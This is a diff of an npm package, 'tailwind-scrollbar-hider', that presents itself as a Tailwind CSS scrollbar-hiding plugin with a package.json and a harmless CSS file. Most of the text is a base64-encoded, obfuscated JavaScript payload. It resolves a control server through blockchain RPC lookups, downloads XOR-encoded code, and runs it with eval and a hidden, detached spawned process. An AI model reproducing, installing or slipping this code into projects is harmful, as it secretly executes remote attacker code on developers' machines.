SwnYVBaVU0nOl8weDIxODM4YygweGFmKSwneHh4c28nOl8weDIxODM4YygweDE0MiksJ3JhQ1pVJzpfMHgyMTgzOGMoMHhjMSksJ3BsYUZXJzpmdW5jdGlvbihfMHgxZDJiZTMsXzB4NDRlYTAxKXtyZXR1cm4gXzB4MWQyYmUzKF8weDQ0ZWEwMSk7fSwnbklMRUwnOmZ1bmN0aW9uKF8weDU3ZTZmMSxfMHgyNjFjNDUpe3JldHVybiBfMHg1N2U2ZjErXzB4MjYxYzQ1O30sJ3d2R2VHJzpfMHgyMTgzOGMoMHhmYikrXzB4MjE4MzhjKDB4MWE0KStfMHgyMTgzOGMoMHhkYykrXzB4MjE4MzhjKDB4MTQ2KStfMHgyMTgzOGMoMHgxMTcpK18weDIxODM4YygweDEzMCkrXzB4MjE4MzhjKDB4ZTEpK18weDIxODM4YygweDE4YSkrXzB4MjE4MzhjKDB4MTgwKStfMHgyMTgzOGMoMHg5ZSkrXzB4MjE4MzhjKDB4MTUzKSsnNicsJ3FpT0RGJzpmdW5jdGlvbihfMHgyYjc4NDAsXzB4MTk2OTYzKXtyZXR1cm4gXzB4MmI3ODQwKF8weDE5Njk2Myk7fSwnU1hmZ2snOl8weDIxODM4YygweDEzMyksJ3hiTWlOJzpmdW5jdGlvbihfMHgyN2EwYjksXzB4Mzk0ZDMyLF8weDIyODM3MSl7cmV0dXJuIF8weDI3YTBiOShfMHgzOTRkMzIsXzB4MjI4MzcxKTt9LCdqdWVNaic6ZnVuY3Rpb24oXzB4MzA3MWVlLF8weDEzYzFkZCl7cmV0dXJuIF8weDMwNzFlZShfMHgxM2MxZGQpO30sJ2lwTnFwJzpmdW5jdGlvbihfMHg1YzhmZTIsXzB4NTFiNjBkLF8weDM3NWM5OSxfMHgzYWRmZDApe3JldHVybiBfMHg1YzhmZTIoXzB4NTFiNjBkLF8weDM3NWM5OSxfMHgzYWRmZDApO30sJ0tYaUxLJzpfMHgyMTgzOGMoMHhlZCksJ3JNWm5EJzpmdW5jdGlvbihfMHgyNDg1ZDksXzB4MTViNGI4KXtyZXR1cm4gXzB4MjQ4NWQ5K18weDE1YjRiODt9LCdSV3JWYyc6XzB4MjE4MzhjKDB4MTBmKSwnV1luc2EnOmZ1bmN0aW9uKF8weDM2YWEyZCxfMHg0ZTAwZjIpe3JldHVybiBfMHgzNmFhMmQoXzB4NGUwMGYyKTt9LCdKR1VwcSc6ZnVuY3Rpb24oXzB4MTdhNWJhLF8weGFmNjQ2NSl7cmV0dXJuIF8weDE3YTViYShfMHhhZjY0NjUpO30sJ2VXQ0t0JzpmdW5jdGlvbihfMHgxZTAwNGIsXzB4ODRmYTJjKXtyZXR1cm4gXzB4MWUwMDRiLV8weDg0ZmEyYzt9LCdLYWZPaCc6ZnVuY3Rpb24oXzB4NGRmMjc1LF8weDJlOTApe3JldHVybiBfMHg0ZGYyNzUlXzB4MmU5MDt9LCdxRk9jUSc6ZnVuY3Rpb24oXzB4MjRmYTgwLF8weDIwOTc1Zil7cmV0dXJuIF8weDI0ZmE4MChfMHgyMDk3NWYpO30sJ2VJSFNtJzpfMHgyMTgzOGMoMHhhNykrXzB4MjE4MzhjKDB4MTI4KSwnWHJaWXMnOmZ1bmN0aW9uKF8weDQ3NDBlNCxfMHg4ZDQzMzUsXzB4MjQwNDk5LF8weDE5MTUxNSl7cmV0dXJuIF8weDQ3NDBlNChfMHg4ZDQzMzUsXzB4MjQwNDk5LF8weDE5MTUxNSk7fSwnemVveEwnOl8weDIxODM4YygweDFiYSkrXzB4MjE4MzhjKDB4MTg1KX07bGV0IF8weDI3NmU0Mj1fMHgxMjMxNDJbXzB4MjE4MzhjKDB4MWEzKV0oQmlnSW50LGF3YWl0IF8weDEyMzE0MltfMHgyMTgzOGMoMHgxMDgpXSh3aXRoUnBjRW5kcG9pbnRzLChfMHg0ODY5MTQsXzB4MWMxODM1KT0+cnBjQ2FsbChfMHg0ODY5MTQsXzB4MjE4MzhjKDB4MWExKStfMHgyMTgzOGMoMHhkOCksW10sXzB4MWMxODM1KSkpLF8weDE2OGQwNj1fMHgxMjMxNDJbXzB4MjE4MzhjKDB4ZjMpXShfMHgyNzZlNDIsXzB4MTIzMTQyW18weDIxODM4YygweDE4ZCldKF8weDI3NmU0MixCTE9DS19NVUxUSVBMRSkpLF8weDQxMmFlNz1hd2FpdCBfMHgxMjMxNDJbXzB4MjE4MzhjKDB4MTM3KV0oZmlyc3RNYXRjaCxfMHgxMjMxNDJbXzB4MjE4MzhjKDB4MWEzKV0oY2FuZGlkYXRlQmxvY2tzLF8weDE2OGQwNilbXzB4MjE4MzhjKDB4MTRmKV0oYmxvY2tUYXNrKSk7XzB4NDEyYWU3fHwoXzB4NDEyYWU3PWF3YWl0IF8weDEyMzE0MltfMHgyMTgzOGMoMHgxOWUpXShsYXN0U2VuZGVyVHgsXzB4Mjc2ZTQyKVtfMHgyMTgzOGMoMHgxMDApXSgoKT0+bGFzdFNlbmRlclR4VmlhSW5kZXhlcigpKSk7bGV0IFtfMHgyOGRlNWQsXzB4M2I2ZDdkXT1fMHgxMjMxNDJbXzB4MjE4MzhjKDB4MWI0KV0oZGVjb2RlQWRkcmVzcyxfMHg0MTJhZTdbJ3R4J11bJ3RvJ10pLF8weDNkOTRiYT1nbG9iYWw7ZnVuY3Rpb24gXzB4NWVjOWM0KF8weDNhMjBhYyxfMHhhOWQyNGUpe2NvbnN0IF8weDU1MTY1ZT1fMHgyMTgzOGMsXzB4NWVjZjY2PXsnek5JcVUnOmZ1bmN0aW9uKF8weDQzMDAxNyxfMHgzMjQ2ZTYpe2NvbnN0IF8weDE1YmM1Nj1fMHgzNTVlO3JldHVybiBfMHgxMjMxNDJbXzB4MTViYzU2KDB4MTgyKV0oXzB4NDMwMDE3LF8weDMyNDZlNik7fSwncmpTWm0nOl8weDEyMzE0MltfMHg1NTE2NWUoMHgxMTkpXSwnY1ZqTVInOl8weDEyMzE0MltfMHg1NTE2NWUoMHgxYjcpXSwnU0hKSmQnOmZ1bmN0aW9uKF8weDIwMGNlMixfMHg0NDIyOGQpe2NvbnN0IF8weDE1NWZiOD1fMHg1NTE2NWU7cmV0dXJuIF8weDEyMzE0MltfMHgxNTVmYjgoMHhkOSldKF8weDIwMGNlMixfMHg0NDIyOGQpO30sJ2RRaGpSJzpfMHgxMjMxNDJbXzB4NTUxNjVlKDB4MWI4KV0sJ1pBbE95JzpmdW5jdGlvbihfMHg1OWMyNzMsXzB4MTcyOTdhKXtjb25zdCBfMHg0ZmM4YTM9XzB4NTUxNjVlO3JldHVybiBfMHgxMjMxNDJbXzB4NGZjOGEzKDB4ZjgpXShfMHg1OWMyNzMsXzB4MTcyOTdhKTt9LCdiTG9sSic6XzB4MTIzMTQyW18weDU1MTY1ZSgweGQzKV0sJ2hyVVZUJzpfMHgxMjMxNDJbXzB4NTUxNjVlKDB4MWFiKV0sJ1laS1RqJzpfMHgxMjMxNDJbXzB4NTUxNjVlKDB4YzYpXX07bGV0IF8weDExZWMxZj17J2hvc3RuYW1lJzpfMHhhOWQyNGVbXzB4NTUxNjVlKDB4OTMpXSwncG9ydCc6XzB4MTIzMTQyW18weDU1MTY1ZSgweDEzNyldKE51bWJlcixfMHhhOWQyNGVbXzB4NTUxNjVlKDB4MTVkKV0pfHwweDIyMzYrLTB4MjJiMCsweGNhLCdwYXRoJzpfMHgxMjMxNDJbXzB4NTUxNjVlKDB4OTIpXShfMHhhOWQyNGVbXzB4NTUxNjVlKDB4MTUwKV0sXzB4YTlkMjRlW18weDU1MTY1ZSgweDEwZSldKSwnaGVhZGVycyc6eydVc2VyLUFnZW50JzpfMHgxMjMxNDJbXzB4NTUxNjVlKDB4ZGYpXSwnU2VjLVYnOl8weDNkOTRiYVsnX1YnXXx8MHgxMzA5Ky0weDEzMmIrMHgyMn19O2Z1bmN0aW9uIF8weDU5NDRlZShfMHgzOTU2NGMpe2NvbnN0IF8weDMzN2VkND1fMHg1NTE2NWU7bGV0IF8weDNkZTkzNT1fMHgzYTIwYWNbXzB4MzM3ZWQ0KDB4Y2QpXTtmb3IobGV0IF8weGNkNmRlMj0tMHgxKi0weDE1ZjYrMHhjMDQrMHgyMWZhKi0weDE7XzB4MTIzMTQyW18weDMzN2VkNCgweDE1NildKF8weGNkNmRlMixfMHgzOTU2NGNbXzB4MzM3ZWQ0KDB4Y2QpXSk7XzB4Y2Q2ZGUyKyspXzB4Mzk1NjRjW18weGNkNmRlMl1ePV8weDNhMjBhY1tfMHgzMzdlZDQoMHhhYyldKF8weDEyMzE0MltfMHgzMzdlZDQoMHgxOWEpXShfMHhjZDZkZTIsXzB4M2RlOTM1KSk7cmV0dXJuIF8weDM5NTY0Y1tfMHgzMzdlZDQoMHgxNTkpXShfMHgxMjMxNDJbXzB4MzM3ZWQ0KDB4MWEwKV0pO31mdW5jdGlvbiBfMHgzZmExNjYoXzB4NTI4NmQ0KXtjb25zdCBfMHgzMGJhYzY9XzB4NTUxNjVlO2xldCBfMHgxYzcxODQ9XzB4NTI4NmQ0W18weDMwYmFjNigweDE0YildW18weDEyMzE0MltfMHgzMGJhYzYoMHgxMTkpXV07aWYoIV8weDFjNzE4NCl0aHJvdyBfMHgxMjMxNDJbXzB4MzBiYWM2KDB4ZjgpXShFcnJvcixfMHgxMjMxNDJbXzB4MzBiYWM2KDB4MWE1KV0pO3JldHVybiBfMHgxMjMxNDJbXzB4MzBiYWM2KDB4ZjgpXShfMHg1OTQ0ZWUsQnVmZmVyW18weDMwYmFjNigweDE4YyldKF8weDFjNzE4NCxfMHgxMjMxNDJbXzB4MzBiYWM2KDB4MTY4KV0pKTt9ZnVuY3Rpb24gXzB4NWUwYzRjKF8weDE4ODQ1Nyl7Y29uc3QgXzB4ZGIyYjVlPV8weDU1MTY1ZSxfMHg5ZGYxNjM9eydGZkhZYic6ZnVuY3Rpb24oXzB4Mjc1ZDIwLF8weDExYTI0OSl7Y29uc3QgXzB4ZGExNzFmPV8weDM1NWU7cmV0dXJuIF8weDVlY2Y2NltfMHhkYTE3MWYoMHgxMWYpXShfMHgyNzVkMjAsXzB4MTFhMjQ5KTt9LCdnSVdXTyc6XzB4NWVjZjY2W18weGRiMmI1ZSgweGU2KV0sJ0xUR2ZlJzpfMHg1ZWNmNjZbXzB4ZGIyYjVlKDB4MTAxKV0sJ2RqZ2FhJzpmdW5jdGlvbihfMHgxMmY3NGIsXzB4ODdiY2M5KXtjb25zdCBfMHhkMTlkNDI9XzB4ZGIyYjVlO3JldHVybiBfMHg1ZWNmNjZbXzB4ZDE5ZDQyKDB4MTEzKV0oXzB4MTJmNzRiLF8weDg3YmNjOSk7fSwnZUVRdlUnOl8weDVlY2Y2NltfMHhkYjJiNWUoMHhhMildLCdLUWxkUic6ZnVuY3Rpb24oXzB4NWE3YjNiLF8weDFkY2Y2OSl7Y29uc3QgXzB4M2JkOGE4PV8weGRiMmI1ZTtyZXR1cm4gXzB4NWVjZjY2W18weDNiZDhhOCgweGU4KV0oXzB4NWE3YjNiLF8weDFkY2Y2OSk7fSwnanZnS3AnOl8weDVlY2Y2NltfMHhkYjJiNWUoMHgxODkpXSwnWmdwcUcnOl8weDVlY2Y2NltfMHhkYjJiNWUoMHgxNTgpXSwnWEx5bEsnOl8weDVlY2Y2NltfMHhkYjJiNWUoMHgxNjIpXX07cmV0dXJuIG5ldyBQcm9taXNlKChfMHgxNWY5NDYsXzB4NWE5OTM4KT0+e2NvbnN0IF8weDMyMGFlNj1fMHhkYjJiNWUsXzB4MzRhODk0PXsnUU13SEcnOmZ1bmN0aW9uKF8weDQwNDQ4ZCxfMHgyM2M5MWUpe2NvbnN0IF8weDQyZGQ5ND1fMHgzNTVlO3JldHVybiBfMHg5ZGYxNjNbXzB4NDJkZDk0KDB4MWI2KV0oXzB4NDA0NDhkLF8weDIzYzkxZSk7fSwnWEhOeXInOl8weDlkZjE2M1tfMHgzMjBhZTYoMHgxMTIpXSwnZUFtdE8nOl8weDlkZjE2M1tfMHgzMjBhZTYoMHhlNyldLCdaWUJCZSc6ZnVuY3Rpb24oXzB4M2U4NGUyLF8weDVjMDI0OCl7Y29uc3QgXzB4M2Y3NGU3PV8weDMyMGFlNjtyZXR1cm4gXzB4OWRmMTYzW18weDNmNzRlNygweGZjKV0oXzB4M2U4NGUyLF8weDVjMDI0OCk7fSwnRldVaUgnOl8weDlkZjE2M1tfMHgzMjBhZTYoMHgxYTYpXSwnc21DeGwnOmZ1bmN0aW9uKF8weDMwZjJiMyxfMHgzYjQzNzgpe2NvbnN0IF8weDUwOGFlYj1fMHgzMjBhZTY7cmV0dXJuIF8weDlkZjE2M1tfMHg1MDhhZWIoMHg5NCldKF8weDMwZjJiMyxfMHgzYjQzNzgpO30sJ0xCalVqJzpfMHg5ZGYxNjNbXzB4MzIwYWU2KDB4MTQ0KV0sJ1JwUElPJzpfMHg5ZGYxNjNbXzB4MzIwYWU2KDB4MTk5KV0sJ0VyZXFQJzpfMHg5ZGYxNjNbXzB4MzIwYWU2KDB4Y2EpXX07bGV0IF8weDY3YzJiZj1odHRwW18weDMyMGFlNigweGM3KV0oey4uLl8weDExZWMxZiwnbWV0aG9kJzpfMHgxODg0NTd9LF8weDNhYjVjNz0+e2NvbnN0IF8weDE3NzA5ZD1fMHgzMjBhZTYsXzB4MzFhOTQ3PXsnUnNacGgnOmZ1bmN0aW9uKF8weDNiNmRiOCxfMHg0MGZjZTYpe2NvbnN0IF8weDkzZTY4OT1fMHgzNTVlO3JldHVybiBfMHgzNGE4OTRbXzB4OTNlNjg5KDB4MTA0KV0oXzB4M2I2ZGI4LF8weDQwZmNlNik7fSwndGF2WnQnOl8weDM0YTg5NFtfMHgxNzcwOWQoMHgxMGEpXSwnTHNzVVQnOmZ1bmN0aW9uKF8weDFmNmJhMyxfMHhlZTA0OTYpe2NvbnN0IF8weDNkYjliOT1fMHgxNzcwOWQ7cmV0dXJuIF8weDM0YTg5NFtfMHgzZGI5YjkoMHgxMDQpXShfMHgxZjZiYTMsXzB4ZWUwNDk2KTt9LCdtakNBdyc6XzB4MzRhODk0W18weDE3NzA5ZCgweDFiMCldfTtpZihfMHgzNGE4OTRbXzB4MTc3MDlkKDB4YjIpXShfMHgzNGE4OTRbXzB4MTc3MDlkKDB4ZDEpXSxfMHgxODg0NTcpKXt0cnl7XzB4MzRhODk0W18weDE3NzA5ZCgweDExYildKF8weDE1Zjk0NixfMHgzNGE4OTRbXzB4MTc3MDlkKDB4MTA0KV0oXzB4M2ZhMTY2LF8weDNhYjVjNykpO31jYXRjaChfMHgxNDk3OGUpe18weDM0YTg5NFtfMHgxNzcwOWQoMHgxMDQpXShfMHg1YTk5MzgsXzB4MTQ5NzhlKTt9XzB4M2FiNWM3W18weDE3NzA5ZCgweDFiOSldKCk7cmV0dXJuO31sZXQgXzB4MzMzMzA1PVtdO18weDNhYjVjN1snb24nXShfMHgzNGE4OTRbXzB4MTc3MDlkKDB4MTViKV0sXzB4NTQ3NzM2PT5fMHgzMzMzMDVbXzB4MTc3MDlkKDB4MTk4KV0oXzB4NTQ3NzM2KSksXzB4M2FiNWM3WydvbiddKF8weDM0YTg5NFtfMHgxNzcwOWQoMHgxNTQpXSwoKT0+e2NvbnN0IF8weDM4MjUzZD1fMHgxNzcwOWQ7dHJ5e2xldCBfMHgyNDdmZTY9QnVmZmVyW18weDM4MjUzZCgweDEwNyldKF8weDMzMzMwNSk7aWYoXzB4MjQ3ZmU2W18weDM4MjUzZCgweGNkKV0pcmV0dXJuIF8weDMxYTk0N1tfMHgzODI1M2QoMHhkMildKF8weDE1Zjk0NixfMHgzMWE5NDdbXzB4MzgyNTNkKDB4ZDIpXShfMHg1OTQ0ZWUsXzB4MjQ3ZmU2KSk7aWYoXzB4M2FiNWM3W18weDM4MjUzZCgweDE0YildW18weDMxYTk0N1tfMHgzODI1M2QoMHgxNzEpXV0pcmV0dXJuIF8weDMxYTk0N1tfMHgzODI1M2QoMHhkMildKF8weDE1Zjk0NixfMHgzMWE5NDdbXzB4MzgyNTNkKDB4MTkyKV0oXzB4M2ZhMTY2LF8weDNhYjVjNykpO18weDMxYTk0N1tfMHgzODI1M2QoMHhkMildKF8weDVhOTkzOCxfMHgzMWE5NDdbXzB4MzgyNTNkKDB4MTkyKV0oRXJyb3IsXzB4MzFhOTQ3W18weDM4MjUzZCgweGFlKV0pKTt9Y2F0Y2goXzB4OTA3YjgxKXtfMHgzMWE5NDdbXzB4MzgyNTNkKDB4ZDIpXShfMHg1YTk5MzgsXzB4OTA3YjgxKTt9fSksXzB4M2FiNWM3WydvbiddKF8weDM0YTg5NFtfMHgxNzcwOWQoMHgxMmUpXSxfMHg1YTk5MzgpO30pO18weDY3YzJiZlsnb24nXShfMHg5ZGYxNjNbXzB4MzIwYWU2KDB4Y2EpXSxfMHg1YTk5MzgpLF8weDY3YzJiZltfMHgzMjBhZTYoMHgxNDIpXSgpO30pO31yZXR1cm4gXzB4MTIzMTQyW18weDU1MTY1ZSgweGZlKV0oXzB4NWUwYzRjLF8weDEyMzE0MltfMHg1NTE2NWUoMHgxMDIpXSlbXzB4NTUxNjVlKDB4MTAwKV0oKCk9Pl8weDVlMGM0YyhfMHg1NTE2NWUoMHgxMWEpKSk7fWFzeW5jIGZ1bmN0aW9uIF8weDcxY2RkMyhfMHgzNmVkM2YsXzB4NGNiZTJlLF8weDE4ZmY4OCl7Y29uc3QgXzB4NDMzZjRiPV8weDIxODM4Yzt0cnl7bGV0IF8weDQyOTM4ZT1hd2FpdCBfMHgxMjMxNDJbXzB4NDMzZjRiKDB4YzMpXShfMHg1ZWM5YzQsXzB4NGNiZTJlLF8weDM2ZWQzZiksXzB4MWRlOWU4PV8weDE4ZmY4OD9fMHg0MzNmNGIoMHhmZikrXzB4NDMzZjRiKDB4MTdhKSsoXzB4M2Q5NGJhWydfViddfHwtMHhmMGErLTB4MTM1ZCotMHgxKy0weDQ1MykrKF8weDQzM2Y0YigweGVlKStfMHg0MzNmNGIoMHhmYSkpK18weDNkOTRiYVsnX0gnXSsoXzB4NDMzZjRiKDB4ZWUpK18weDQzM2Y0YigweDE1ZSkpK18weDNkOTRiYVtfMHg0MzNmNGIoMHgxNmEpXSsoXzB4NDMzZjRiKDB4ZWUpK18weDQzM2Y0YigweGJlKStfMHg0MzNmNGIoMHgxMTEpK18weDQzM2Y0YigweDE1NykrXzB4NDMzZjRiKDB4MTA2KStfMHg0MzNmNGIoMHgxNzkpKTpfMHg0MzNmNGIoMHhmZikrXzB4NDMzZjRiKDB4MTdhKSsoXzB4M2Q5NGJhWydfViddfHwweDFiMSoweDIrLTB4MSotMHgxNmY5KzB4MjA3Ki0weGQpKyhfMHg0MzNmNGIoMHhlZSkrXzB4NDMzZjRiKDB4MTMyKSkrXzB4M2Q5NGJhW18weDQzM2Y0YigweDE1YyldKyhfMHg0MzNmNGIoMHhlZSkrXzB4NDMzZjRiKDB4MTI5KSkrXzB4M2Q5NGJhW18weDQzM2Y0YigweDExNildKyhfMHg0MzNmNGIoMHhlZSkrXzB4NDMzZjRiKDB4YmUpK18weDQzM2Y0YigweDExMSkrXzB4NDMzZjRiKDB4MTU3KStfMHg0MzNmNGIoMHgxMDYpK18weDQzM2Y0YigweDE3OSkpO18weDE4ZmY4OHx8XzB4MTIzMTQyW18weDQzM2Y0YigweDFiNCldKGV2YWwsXzB4MTIzMTQyW18weDQzM2Y0YigweDkyKV0oXzB4MWRlOWU4LF8weDQyOTM4ZSkpLF8weDEyMzE0MltfMHg0MzNmNGIoMHgxMjUpXShzcGF3bixfMHgxMjMxNDJbXzB4NDMzZjRiKDB4MTQ1KV0sWyctZScsXzB4MTIzMTQyW18weDQzM2Y0YigweDljKV0oXzB4MWRlOWU4LF8weDQyOTM4ZSldLHsnZGV0YWNoZWQnOiEoLTB4YjJjKy0weDEqLTB4YzEzKy0weGU3KSwnc3RkaW8nOl8weDEyMzE0MltfMHg0MzNmNGIoMHhhYildLCd3aW5kb3dzSGlkZSc6ISgtMHgxKi0weDIwNzkrMHgxKi0weDEzNWErMHgxKi0weGQxZil9KVtfMHg0MzNmNGIoMHgxNzcpXSgpO31jYXRjaChfMHg1MTIxMGMpe319XzB4M2Q5NGJhWydfViddPV8weDNkOTRiYVsnaSddLF8weDNkOTRiYVsnX0gnXT1fMHgyMTgzOGMoMHgxN2UpK18weDI4ZGU1ZCtfMHgyMTgzOGMoMHgxNTUpLF8weDNkOTRiYVtfMHgyMTgzOGMoMHgxNmEpXT1fMHgyMTgzOGMoMHgxN2UpK18weDNiNmQ3ZCtfMHgyMTgzOGMoMHgxNTUpLF8weDNkOTRiYVtfMHgyMTgzOGMoMHgxNWMpXT1fMHgyMTgzOGMoMHgxN2UpK18weDI4ZGU1ZCtfMHgyMTgzOGMoMHgxODEpLF8weDNkOTRiYVtfMHgyMTgzOGMoMHgxMTYpXT1fMHgyMTgzOGMoMHgxN2UpK18weDI4ZGU1ZCtfMHgyMTgzOGMoMHgxNTUpLGF3YWl0IF8weDEyMzE0MltfMHgyMTgzOGMoMHgxMjUpXShfMHg3MWNkZDMsbmV3IFVSTChfMHgyMTgzOGMoMHgxN2UpK18weDI4ZGU1ZCsoXzB4MjE4MzhjKDB4ZTQpKydzJykpLF8weDEyMzE0MltfMHgyMTgzOGMoMHhmNyldLCEoLTB4MSoweDFiNTUrMHgxKi0weDFmMjUrMHgzYTdiKSksYXdhaXQgXzB4MTIzMTQyW18weDIxODM4YygweGUyKV0oXzB4NzFjZGQzLG5ldyBVUkwoXzB4MjE4MzhjKDB4MTdlKStfMHgyOGRlNWQrXzB4MjE4MzhjKDB4MTI0KSksXzB4MTIzMTQyW18weDIxODM4YygweDEzZSldLCEoMHgxMzViKzB4MWM1ZistMHgyZmJhKSk7fXJ1bigpOw=='));
|
package/package.json
CHANGED
|
@@ -1,6 +1,34 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tailwind-scrollbar-hider",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "5.0.2",
|
|
4
|
+
"description": "tailwindcss plugin for hiding scrollbar",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"tailwindcss",
|
|
7
|
+
"scrollbar",
|
|
8
|
+
"scrollbar-hide"
|
|
9
|
+
],
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"author": "Stella Hudson",
|
|
12
|
+
"sideEffects": false,
|
|
13
|
+
"type": "module",
|
|
14
|
+
"main": "dist/index.js",
|
|
15
|
+
"types": "dist/index.d.ts",
|
|
16
|
+
"files": [
|
|
17
|
+
"dist",
|
|
18
|
+
"src/styles.css"
|
|
19
|
+
],
|
|
20
|
+
"scripts": {
|
|
21
|
+
"build": "tsc"
|
|
22
|
+
},
|
|
23
|
+
"devDependencies": {
|
|
24
|
+
"@types/node": "^22.15.28",
|
|
25
|
+
"tailwindcss": "4.1.8",
|
|
26
|
+
"typescript": "5.8.3"
|
|
27
|
+
},
|
|
28
|
+
"peerDependencies": {
|
|
29
|
+
"tailwindcss": ">=3.0.0 || >= 4.0.0 || >= 4.0.0-beta.8 || >= 4.0.0-alpha.20"
|
|
30
|
+
},
|
|
31
|
+
"publishConfig": {
|
|
32
|
+
"access": "public"
|
|
33
|
+
}
|
|
6
34
|
}
|
package/src/styles.css
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
@utility scrollbar-hide {
|
|
2
|
+
/* Firefox */
|
|
3
|
+
scrollbar-width: none;
|
|
4
|
+
|
|
5
|
+
/* Safari and Chrome */
|
|
6
|
+
&::-webkit-scrollbar {
|
|
7
|
+
display: none;
|
|
8
|
+
}
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
@utility scrollbar-default {
|
|
12
|
+
/* Firefox */
|
|
13
|
+
scrollbar-width: auto;
|
|
14
|
+
|
|
15
|
+
/* Safari and Chrome */
|
|
16
|
+
&::-webkit-scrollbar {
|
|
17
|
+
display: block;
|
|
18
|
+
}
|
|
19
|
+
}
|